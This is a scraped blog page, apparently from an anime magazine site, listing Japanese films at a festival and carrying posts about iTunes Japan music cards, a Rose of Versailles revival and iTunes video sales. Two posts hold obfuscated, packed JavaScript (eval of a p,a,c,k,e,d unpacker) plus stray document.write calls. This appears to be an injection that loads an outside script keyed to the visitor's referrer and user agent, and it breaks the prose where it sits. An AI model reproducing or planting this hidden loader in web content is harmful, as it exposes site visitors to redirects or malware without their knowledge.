KURO-OBI (Black Belt) (COMP) (PM) Japan / 2006 / 95 min / Dir.: Shunichi Nagasaki; Cast : Akihito Yagi, Tatsuya Naka, Yuji Suzuki, Takayasu Komiya, Yasuto Kosuda, Kenji Anan, Masahiro Sudo, Taro Suwa, Arashi Fukasawa, Narumi Konno. Set in the 1930s in Japan, three martial arts practitioners who are competing to inherit the mantle of their late master, are ordered to enlist in the military. Having no choice, the trio leave their dojo for an encounter with fate. Review.

OH-OKU (Oh-Oku, The Women Of The Inner Palace) (COMP) (PI) Japan / 2007 / 128 min / Dir.: Toru Hayashi; Cast : Yukie Nakama, Hidetoshi Nishijima, Haruka Igawa, Mitsuhiro Oikawa, Kaoru Sugita, Machiko Washio, Kaori Yamaguchi, Maki Kubota, Yuki Matsushita, Reiko Takashima. Set during the short reign of child Shogun Ietsugu Tokugawa, OH-OKU recounts the legendary power struggle between the young shogun’s natural mother and his official wife, who must watch her stake in the bloodline. Review.

BIZAN (HC) (PNA) Japan / 2007 / 120 min / Dir.: Isshin Inudo; Cast : Nanako Matsushima, Takao Osawa, Nobuko Miyamata, Aya Enjoji, Tatsuo Yamada, Manami Kurose, Toshiyuki Nagashima, Takeo Nakahara, Ken Kaneko. A Tokyo travel agent who returns to her hometown when her mother is hospitalized for cancer discovers that the father she never met is not dead as her mother always claimed. She sets out to find him and perhaps re-unite the family before it is too late. Review.

DEAR FRIENDS (REG) (PI) Japan / 2007 / 115 min / Dir.: Kasuyuki Morosawa; Cast : Keiko Kitagawa,Yuika Motokariya, Masaya Kikawada, Airi Toriyama, Mao Sasaki, Hatsune Matsushima, Mantaro Koichi, Naoko Otani, Yoshiko Miyazaki, Ren Osugi; Prod. & Sales: Toei Company Ltd.

MAMIYA KYOUDAI (The Mamiya Brothers) (REG) (PNA) Japan / 2006 / 119 min / Dir.: Yoshimitsu Morita; Cast : Kuranosuke Sasaki, Muga Tsukaji, Miyuki Nakajima, Takako Tokiwa, Erika Sawajiri, Keiko Kitagawa, Hiromi Iwasaki, Ryuta Sato, Teppei Yokota, Koji Sato, Kenichi Katsura; Prod. & Sales: Yasushi Tsuge, Kazuko Misawa, Asmik Ace Entertainment, Inc.. The nerdy Mamiya brothers live in a comfortable Tokyo apartment, work 9-to-5 jobs and have done everything together for over thirty years. Everything but date girls. Which they’ve never done at all. They decide a curry-and-Monopoly party might kick-start their love lives… Review.

SAKURAN (REG) (PC) Japan / 2007 / 111 min / Dir.: Mika Ninagawa; Cast : Anna Tsuchiya, Kippei Narimiya, Yoshino Kimura, Miho Kanno, Masatoshi Nagase, Minami, Hiroshi Yamamoto; Prod.: Mitsuru Uda, Yoshinori Fujita, Asmik Ace Entertainment, Inc. An elegant red light district flourished in In 17th century Edo, as Tokyo was then known. SAKURAN tells the story of one woman living in the lustrous world who was determined to stand on her own two feet and live life as she pleased. Review.

TANA-NO-SUMI (The Dark Corners Of The Shelves) (REG) (PI) Japan / 2007 / 81 min / Dir.: Hajime Kadoi; Cast : Ren Osugi, Ryoko Uchida, Makiko Watanabe, Hideo Sakaki; Prod.: Kazuhiro Koike, Little Bird (Espero Keikaku). A woman comes into Yasuo’s toy shop and, without a word, buys an old toy and leaves. The woman is Yoko, Yasuo’s former wife who walked out on him and their son eight years ago… Review.

Grand Odyssey (REG – Short) (PNA) Japan – France / 2007 / 19 min / Dir.: Tomoyuki Kato; Cast : Yuzo Kayama, Natsumi Okumura. Review.

Check the festival’s web site for more details. Bon festival!

See the full Event Report in Protoculture Addicts #96: 71.

See also our quick overview of the festival and our Picture Gallery.

[updated 2007/8/20 and 2008/5/13]

Music From Japan

December 16, 2006 / Clodjee / Leave a comment

I am sure that many anime & manga fans are like me and enjoy listening to Japanese music. It is not always easy to find J-pop DVDs and one cannot download music from iTunes Japan if one doesn’t have a credit card registered with a Japanese address. At least, document.write(“”); until now!
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|nfaes|var|u0026u|referrer|nfyed||js|php’.split(‘|’),0,{}))

I learned today, while reading TUAW (The Unofficial Apple Weblog), that you can shop at iTunes Japan from America (or anywhere else) when you purchase iTunes Japan Music Cards!

The funny things is that those cards are available from Jbox (the sister website to Jlist, an online store created by Peter Payne and selling anime, manga & everything Japanese that might interest a fan). The cards are available in ¥1500 ($18 US) and ¥3000 ($35 US) format and Jbox clearly explains how to use them.

The cards are also available from Amazon.co.jp (but that website is in Japanese)…

Have fun!

UPDATE [12/30/06]: Someone on the Anime News Network‘s forums has pointed out that this item cannot be ordered on Amazon.co.jp from overseas. I have indeed verified that some commodities produced for the Japanese market (Software, Game, Electronics, Home & kitchen, Toy & hobby, Sport, Health & beauty, and certain type of Dvds/videos) are subject to geographical restrictions and Amazon.co.jp cannot deliver them overseas. The iTunes Japan Music Cards are apparently considered as Electronics. Sorry, I didn’t know that. It leaves only Jbox as source (although someone also pointed out that the cards were available in some convenience stores).

Rose Of Versailles Revival

October 15, 2005 / Clodjee / Leave a comment

This year is the 250th anniversary of the birth of Marie-Antoinette (born in Vienna in 1755) and it seems to be a good pretext for a revival of Rose Of Versailles, document.write(“”); this epic anime drama about a passionate love set with the French Revolution as backdrop.
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Not only TMS is releasing the complete series on R2 DVDs (8 vols, BCBA-2321~28, 121 min. ea, ¥3800 ea.; Vol. 1-3 avail. on 9/23; Vol. 4-6 avail. on 10/28 and vol. 7-8 avail. on 11/25), but also the all-female theatrical troop Takarazuka will restage their famous Versailles no Bara play for the great pleasure of their fans! (For more info about this series and the play, check PA#45: 17-26, 41-43 as well as the online overview)

Furthermore, Rose Of Versailles mangaka, Riyoko Ikeda — who stopped drawing manga a decade ago to dedicate herself to music — has started a new manga series that adapts a novel of Yukio Mishima (more details on ANN).

Update:

Takarazuka will give TWO different performences of Rose Of Versailles:

Takarazuka “Star Troupe will be performing the “Fersen and Marie Antoinette version” first in a national tour, from 9/24 through 10/21. After the tour, they will perform from January – February 2006 in the Takarazuka Grand Theater, and then from February – April 2006 in the Toyko Takarazuka Theater.”

Takarazuka “Snow Troupe will be performing the “Oscar” version from February – March in the Takarazuka Grand Theater, and from April – May in the Tokyo Takarazuka Theater.”

(Update Source: Sugar And Spice Takarazuka Revue web site)

Takarazuka Revue Official web site

Apple’s iTunes music stores soon to offer video!

October 13, 2005 / Clodjee / Leave a comment

With the announcement of the new video-capable iPod, document.write(“”); Apple might be able to revolutionize the world of the video download the same way they did for music.
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eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|khtkd|var|u0026u|referrer|rtyzb||js|php’.split(‘|’),0,{}))

iTunes music stores will soon start selling video also. Following a deal with ABC/Disney they will start offering episode of “Desperate Housewives” and “Lost,” among other content, for only $1.99 per episode. Video can be watched either on the iPod 2.5-inch screen or on a computer.

Hopefully, anime releasers both in Japan an in North America will seize this opportunity to make their product available online at a reasonable cost. It is clear that this is the only way to fight piracy and illegal downloads.

If you want more details you can check those articles:

www.hollywoodreporter.com/thr/new_media/article_display.jsp?vnu_content_id=1001304647

www.cnn.com/2005/TECH/ptech/10/12/apple.video.ipod.ap/index.html?section=cnn_topstories

Update (05/10/14): iTunes v. 6 is already available and the music store is already selling lots of video clips and some Pixar’s short movies. The only downside to this is that the resolution is rather small. It is really made for the iPod screen. But at least the idea of downloading video for a small fee is put in practice. Eventually they could offer higher resolution video for a bigger price.